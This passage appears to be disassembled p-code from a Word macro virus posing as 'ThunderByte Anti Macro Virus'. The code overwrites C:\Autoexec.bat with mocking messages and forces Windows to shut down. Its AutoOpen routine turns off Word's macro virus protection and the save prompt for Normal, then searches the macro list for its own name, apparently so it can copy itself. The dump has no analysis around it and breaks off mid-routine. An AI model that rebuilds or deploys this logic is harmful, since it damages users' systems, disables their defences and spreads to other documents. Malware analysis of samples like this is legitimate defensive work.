' 	LitStr 0x0031 "Pour que les modifications soit prises en compte,"
' 	LitDI2 0x000D 
' 	ArgsLd Chr$ 0x0001 
' 	Concat 
' 	LitStr 0x0023 "Je dois redémarrer votre ordinateur"
' 	Concat 
' 	Ld vbInformation 
' 	LitStr 0x001C "ThunderByte Anti Macro Virus"
' 	ArgsCall MsgBox 0x0003 
' Line #113:
' 	LitStr 0x000F "C:\Autoexec.bat"
' 	LitDI2 0x0001 
' 	Sharp 
' 	LitDefault 
' 	Open (For Output)
' Line #114:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0031 "Echo Les AntiVirus ne sont pas tous des Antivirus"
' 	PrintItemNL 
' Line #115:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0027 "Echo Il peuvent être aussi des virus..."
' 	PrintItemNL 
' Line #116:
' 	LitDI2 0x0001 
' 	Sharp 
' 	PrintChan 
' 	LitStr 0x0015 "Echo HAHAHAHAHA!!!!!!"
' 	PrintItemNL 
' Line #117:
' 	LitDI2 0x0001 
' 	Sharp 
' 	Close 0x0001 
' Line #118:
' 	Ld Tasks 
' 	ArgsMemCall ExitWindows 0x0000 
' Line #119:
' 	EndIfBlock 
' Line #120:
' 	EndIfBlock 
' Line #121:
' 	Label ErrorAE 
' Line #122:
' 	EndSub 
' Line #123:
' 	FuncDefn (Sub AutoOpen())
' Line #124:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #125:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #126:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #127:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #128:
' 	OnError ErrorAO 
' Line #129:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
' Line #130:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld iMacroCount 
' 	For 
' Line #131:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x000E "ThunderByteAMV"
' 	Eq 
' 	IfBlock 
…